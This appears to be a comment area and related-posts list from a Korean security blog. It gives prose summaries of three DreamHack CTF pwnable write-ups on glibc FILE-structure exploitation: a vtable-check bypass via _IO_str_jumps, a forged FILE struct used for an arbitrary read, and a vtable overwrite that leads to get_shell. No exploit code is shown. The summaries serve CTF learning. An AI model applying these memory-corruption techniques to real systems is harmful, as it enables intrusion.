댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥇 Gold 3] vtable 을 못 옮기면 libc 안의 진짜 vtable 을 빌린다 — DreamHack Bypass IO_validate_vtable 풀이
blog

[🥇 Gold 3] vtable 을 못 옮기면 libc 안의 진짜 vtable 을 빌린다 — DreamHack Bypass IO_validate_vtable 풀이

read 한 번으로 FILE 구조체 300바이트를 통째로 덮을 수 있는데, 대상이 glibc 2.27 이라 vtable 을 엉뚱한 주소로 돌리면 그 자리에서 abort 한다. 2.24 부터 fclose 안에 IO_validate_vtable 범위 검사가 인라인돼 있기 때문이다. 그래서 vtable 을 옮기는 대신 __libc_IO_vtables 섹션 안에 원래부터 있던 _IO_str_jumps 를 그대로 갖다 쓴다. 그 vtable 의 __finish 인 _IO_str_finish 는 FILE+0xe8 을 함수 포인터로 호출하는데, 그 칸도 우리가 덮는 300바이트 안에 있다.
#dreamhack#ctf#pwnable+4
2026-08-01#dreamhack +5
[🥇 Gold 4] FILE 구조체를 위조해 프로그램이 제 손으로 flag를 뱉게 만들기 — DreamHack _IO_FILE Arbitrary Address Read 풀이
blog

[🥇 Gold 4] FILE 구조체를 위조해 프로그램이 제 손으로 flag를 뱉게 만들기 — DreamHack _IO_FILE Arbitrary Address Read 풀이

fopen이 돌려준 FILE 포인터가 그대로 read()의 버퍼로 넘어간다. 구조체를 통째로 위조해 fwrite가 내려가는 write(2)의 인자 셋 — fd·소스 주소·길이 — 을 전부 우리 값으로 바꾼다. _fileno=1, _IO_write_base=flag_buf로 두면 프로그램이 자기 flag를 소켓에 써 준다.
#dreamhack#ctf#pwn+5
2026-07-31#dreamhack +4
[🥈 Silver 2] stderr + 1 이 가리키는 8바이트로 함수 테이블을 갈아끼운다 — DreamHack iofile_vtable 풀이
blog

[🥈 Silver 2] stderr + 1 이 가리키는 8바이트로 함수 테이블을 갈아끼운다 — DreamHack iofile_vtable 풀이

메뉴 4번이 read(0, stderr + 1, 8) 을 한다. stderr 는 FILE 포인터라 +1 은 8바이트가 아니라 구조체 하나만큼, 즉 0xd8 을 건너뛴다. 그 자리가 하필 _IO_FILE_plus 의 vtable 포인터다. 전역 배열 name 에 get_shell 주소를 미리 넣어 두고 vtable 을 name - 0x38 로 돌리면, fwrite 가 부르는 __xsputn 칸이 정확히 name 에 겹친다.
#dreamhack#ctf#pwnable+5
2026-07-31#dreamhack +4